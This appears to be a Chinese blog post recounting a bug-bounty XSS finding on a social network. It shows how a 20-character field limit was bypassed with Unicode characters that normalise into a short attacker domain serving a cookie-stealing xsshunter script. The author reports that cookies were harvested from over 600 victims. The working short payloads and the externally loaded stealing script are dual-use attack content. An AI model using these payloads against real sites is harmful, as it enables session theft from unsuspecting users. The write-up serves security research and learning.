在XSS测试中如何绕过字符长度限制
本文最后更新于1598天前,其中的信息可能已经有所发展或是发生改变。

https://www.mondayice.com/wp-content/uploads/2019/12/mmexport1575421752417.jpeg

这个目标是一个大型的社交网络,而转折就发生在我去创建一个新的帐户时。

当我在用户名处输入一个XSS的payload时,特殊字符: <:’();?><:’();?>全不能输入,而且长度限制为20个字符。

https://www.mondayice.com/wp-content/uploads/2019/12/mmexport1575421787539.jpeg

此时,我没有太好的办法,只能去寻找其他漏洞。

而当我访问目标范围内的第二个域名,试图用我的电子邮件注册新帐户时,被告知:用户已经注册,请登录。看来,这两个网站使用的是同一个数据库的用户数据,那么我可以借这个网站插入XSS么?

我很快进入到“个人资料”页面,尝试编辑我的用户名。是的,的确没有了敏感字符限制!

但是,这个长度还是被限制在20个字符以内。

我首先输入一个简单的payload来确认XSS的存在:<svg/onload=alert()>,这个长度为20个字符。

输入并保存后,我转向第一个网站,并成功在“个人资料”页面发现了弹框!

接下来,我开始探究如何窃取cookie,因为危害越大,奖励越高。

不过由于无法绕过长度限制,所以如何才能用小于20个字符的XSS来窃取cookie?xsshunter工具的确很有用,但payload都太长了,所以我花费了很久的时间不停寻找新方法。48小时之后,我发现了这条来自2016年的推特,其中的payload的确很短,来自@0x6D6172696F:

https://www.mondayice.com/wp-content/uploads/2019/12/mmexport1575421859252.png

<script/src=//⑭.₨>,只有18个字符。其中₨代表印度卢比,这是1个字符,而不是2个字符,而⑭也是类似的效果。当你访问把这个url粘贴到浏览器去访问时,会发现如下情形:

https://www.mondayice.com/wp-content/uploads/2019/12/mmexport1575421886317.png

是的,变成了14.rs,我们用三个字符代替了5个字符!!

虽然推特中表示,它只在Edge浏览器中生效,但经过测试,我发现Chrome和Firefox浏览器也受到影响。

现在,我必须租一个.rs域名,但这对我来说非常高昂贵(大约90美元),所以我开始寻找一种更廉价的方法。

很快,我便想到去namecheap.com(感谢@brutelogic)购买一个根域为两个字符,但域名包含特殊字符的域名。最终我确定了RsRs.pw,这大概是每年90美分,所以域名+DNS等于2.10美元。

购买域名后,我直接将RsRs.pw指向xsshunter.com的某个链接,也就是指向XSS的payload。我迅速进入到个人资料页面,往输入框插入了<script src=//₨₨.pw>,一共20个字符,然后保存并再次访问我的个人资料:

66.jpg

1个月后(直到他们解决这个漏洞),我收到了600多名受害者的cookie。

建议

当你看到字符长度或某个字符被限制时,可以尝试找一些特殊字符(或许可以从希腊字典中找到),能起到1个字符代替2个字符,或者绕过安全限制的效果。

此外,当找到一个漏洞时要尽量提高它的危害性,这能带来更高的奖励,更好地锻炼自己。

点击数:282

    暂无评论

    发送评论 编辑评论

    
    				
    |´・ω・)ノ
    ヾ(≧∇≦*)ゝ
    (☆ω☆)
    (╯‵□′)╯︵┴─┴
     ̄﹃ ̄
    (/ω\)
    ∠( ᐛ 」∠)_
    (๑•̀ㅁ•́ฅ)
    →_→
    ୧(๑•̀⌄•́๑)૭
    ٩(ˊᗜˋ*)و
    (ノ°ο°)ノ
    (´இ皿இ`)
    ⌇●﹏●⌇
    (ฅ´ω`ฅ)
    (╯°A°)╯︵○○○
    φ( ̄∇ ̄o)
    ヾ(´・ ・`。)ノ"
    ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
    (ó﹏ò。)
    Σ(っ °Д °;)っ
    ( ,,´・ω・)ノ"(´っω・`。)
    ╮(╯▽╰)╭
    o(*////▽////*)q
    >﹏<
    ( ๑´•ω•) "(ㆆᴗㆆ)
    😂
    😀
    😅
    😊
    🙂
    🙃
    😌
    😍
    😘
    😜
    😝
    😏
    😒
    🙄
    😳
    😡
    😔
    😫
    😱
    😭
    💩
    👻
    🙌
    🖕
    👍
    👫
    👬
    👭
    🌚
    🌝
    🙈
    💊
    😶
    🙏
    🍦
    🍉
    😣
    Source: github.com/k4yt3x/flowerhd
    颜文字
    Emoji
    小恐龙
    花!
    上一篇
    下一篇